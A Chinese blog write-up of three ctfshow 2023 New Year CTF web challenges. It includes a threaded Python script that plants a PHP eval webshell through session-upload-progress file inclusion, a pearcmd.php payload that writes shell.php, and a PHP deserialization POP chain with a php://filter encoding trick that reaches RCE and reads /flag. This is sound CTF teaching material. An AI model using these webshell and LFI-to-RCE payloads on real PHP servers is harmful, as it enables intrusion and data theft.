[ctfshow 2023元旦水友赛]web题解

文章讲述了在web安全挑战中,如何利用easy_include函数的漏洞进行文件包含,包括session文件包含和pearcmd.php本地文件包含的方法。作者详细介绍了利用PHP_SESSION_UPLOAD_PROGRESS和POST参数绕过正则过滤,以及构造payload绕过waf的过程,展示了如何实现远程代码执行(RCE)。
摘要由CSDN通过智能技术生成


easy_include

源码

 <?php

function waf($path){
    $path = str_replace(".","",$path);
    return preg_match("/^[a-z]+/",$path);
}

if(waf($_POST[1])){
    include "file://".$_POST[1];
}

定义waf函数,对参数过滤.,返回正则匹配是否为小写字母开头,然后文件包含,对POST参数1进行拼接file://协议

考虑这里拼接的是file协议所以很多手段都不行,我们有两种思路session文件包含或者利用pearcmd.php

方法一 session文件包含

可参考ctfshow的web82脚本,利用PHP_SESSION_UPLOAD_PROGRESS实现

import requests
import threading

session = requests.session()
sess = 'yu22x'
url1 = "http://7b4f2934-75bb-4b9a-bf2f-4e1d2560b1a8.challenge.ctf.show/"
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>'
}
data2 = {
    '2': 'system("cat /f*");',
    '1': 'localhost/tmp/sess_' + sess
}
file = {
    'file': 'abc'
}
cookies = {
    'PHPSESSID': sess
}

stop_threads = False  # Flag to stop the threads

def write():
    while not stop_threads:
        r = session.post(url1, data=data1, files=file, cookies=cookies)

def read():
    global stop_threads  # Access the flag variable
    while not stop_threads:
        r = session.post(url1, data=data2)
        if 'ctfshow{' in r.text:
            print(r.text)
            stop_threads = True  # Set the flag to stop the threads

threads = [
    threading.Thread(target=write),
    threading.Thread(target=read)
]

for t in threads:
    t.start()

for t in threads:
    t.join()  # Wait for the threads to finish

运行得到flag

在这里插入图片描述

方法二 pearcmd.php本地文件包含

原payload

/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

这里文件包含的参数在POST,并且过滤了点号(实际上带.也能成功包含,能执行不知道为啥)

然后考虑如何绕过正则匹配,直接用localhost就行

最终payload

GET: /?+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php
POST: 1=localhost/usr/local/lib/php/pearcmd.php

在这里插入图片描述

得到flag

在这里插入图片描述

easy_web

源码

开胃小菜,就让我成为签到题叭 <?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);


function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}

function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
}

function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}

class ctf{
    public $h1;
    public $h2;

    public function __wakeup(){
        throw new Exception("fastfast");
    }

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
    public function __construct(){
        $this->chu0 = 'xiuxiuxiu';
    }

    public function __toString(){
        echo "__toString"."<br>";
        if ($this->chu0===$this->chu1){
            $content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
                $tmp = file_get_contents('ctfw.txt');
                echo $tmp."<br>";
                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }

            file_put_contents("ctfw.txt","");
        }
        return "Go on";
        }
}


if (!$_GET['show_show.show']){
    echo "开胃小菜,就让我成为签到题叭";
    highlight_file(__FILE__);
}else{
    echo "WAF,启动!";
    waf1($_REQUEST);
    waf2($_SERVER['QUERY_STRING']);
    if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
        unserialize($_GET['show_show.show']);
    }else{
        echo "被waf啦";
    }

}

我们逐一分析,先看waf1

function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}

对参数进行正则匹配,如果匹配到字母则退出并回显waf1

我们看看调用处是waf1($_REQUEST);,而$_REQUEST有一个特性,当GET和POST有相同的变量时,匹配POST的变量,那么就可以同时传参GET和POST即可绕过,也就是POST传参数字

然后再来看waf2

function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
}

正则匹配字符串show(不区分大小写),如果匹配到则退出返回waf2

调用处是waf2($_SERVER['QUERY_STRING']);,它用于获取当前请求的查询字符串部分。查询字符串是位于 URL 中 ? 符号之后的部分,包含了以键值对形式传递的参数。所以我们可以url编码绕过即可

继续看waf_in_waf_php

function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}

对我们的参数值匹配base64出现的次数,只能出现一次,然后对一些关键字进行正则匹配

看向反序列化部分代码,链子很简单

ctf::__destruct() -> show::__call() -> Chu0_write::__toString() 

由于我们的头是__destruct()方法,要绕过wakeup的抛出异常,结合php版本可以用属性个数不一致(当然在后面的C绕过就一起实现了),然后访问不存在的方法调用__call()方法,接着利用正则匹配去触发__toString()方法(当时比赛的时候本地一直在测试怎么回显gogogo以为没有触发正则匹配,其实不管回不回显都会触发链子),然后引用绕过if语句即可。

这里先看下最下面反序列化的条件if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])),我们直接C绕过即可

exp如下

<?php
class ctf{
    public $h1;
    public $h2;
}

class show{

}
class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
}
$a=new ctf();
$b=new show();
$c=new Chu0_write();
$a->h1=$b;
$a->h2=[['','',$c]];
$c->chu0=&$c->chu1;
$A=new SplStack();
$A->push($a);
echo serialize($A);

最后来分析如何rce

$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
    file_put_contents($_GET['name'].".txt",$content);
}else{
    echo "绕一下吧孩子";
}
    $tmp = file_get_contents('ctfw.txt');
    echo $tmp."<br>";
    if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
        eval($tmp($_GET['cmd']));
    }else{
        echo "waf!";
    }

file_put_contents("ctfw.txt","");

我们可以看到eval($tmp($_GET['cmd']));是可以RCE的

先看$tmp的值是从ctfw.txt中读取的内容,而内容对应$content是可控的,但是我们注意到GET参数chu0是会与ctfshowshowshowwww字符串进行拼接导致无法RCE。按照waf_in_waf_php对name的值进行waf以及waf_in_waf_php中的hint是base64,并且结合file_put_contents()函数是可以用过滤器的,那么我们可以尝试构造

file_put_contents('php://filter/write=...|convert.base64-decode/resource=ctfw.txt',$content);

参考文章 去除垃圾字符

简单点讲,就是我们先对我们的chu0的值进行加密也就是标记,然后拼接在一起后进行过滤器解析,利用最后的base64-decode无法解析前面ctfshowshowshowwww的垃圾字符被去除掉,而我们的chu0的值则会被正确解析并保留

给个例子

测试数据:test
base64编码:dGVzdA==
加上\0(等号也要转换):=00d=00G=00V=00z=00d=00A=00=3D=00=3D

上传后:
垃圾数据=00d=00G=00V=00z=00d=00A=00=3D=00=3D垃圾数据
解码:
垃圾数据\0d \0G \0V \0z \0d \0A \0= \0=垃圾数据
UCS-2转UTF-8:乱码dGVzdA==乱码
base64解码:test

由于本题过滤了UCS-2,我们换成UTF-16le,脚本如下

<?php
$a='assert';//获取二进制数据
$a=iconv('utf-8','UTF-16le',base64_encode($a));//UCS-2编码
$a=quoted_printable_encode($a);//quoted_printable编码
echo $a;
//=00c=003=00l=00z=00d=00G=00V=00t

所以payload

name=php://filter/read=convert.quoted-printable-decode|convert.iconv.UTF-16le.UTF-8/convert.base64-decode/resource=ctfw&chu0=Y=00X=00N=00z=00Z=00X=00J=000=00

然后就是绕过对cmd的正则

直接show_source结合chr()读取/flag

cmd=%73%68%6F%77_source(chr(47).chr(102).chr(108).chr(97).chr(103));

在这里插入图片描述

easy_login

ctfshow红包挑战9原题

参考文章

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值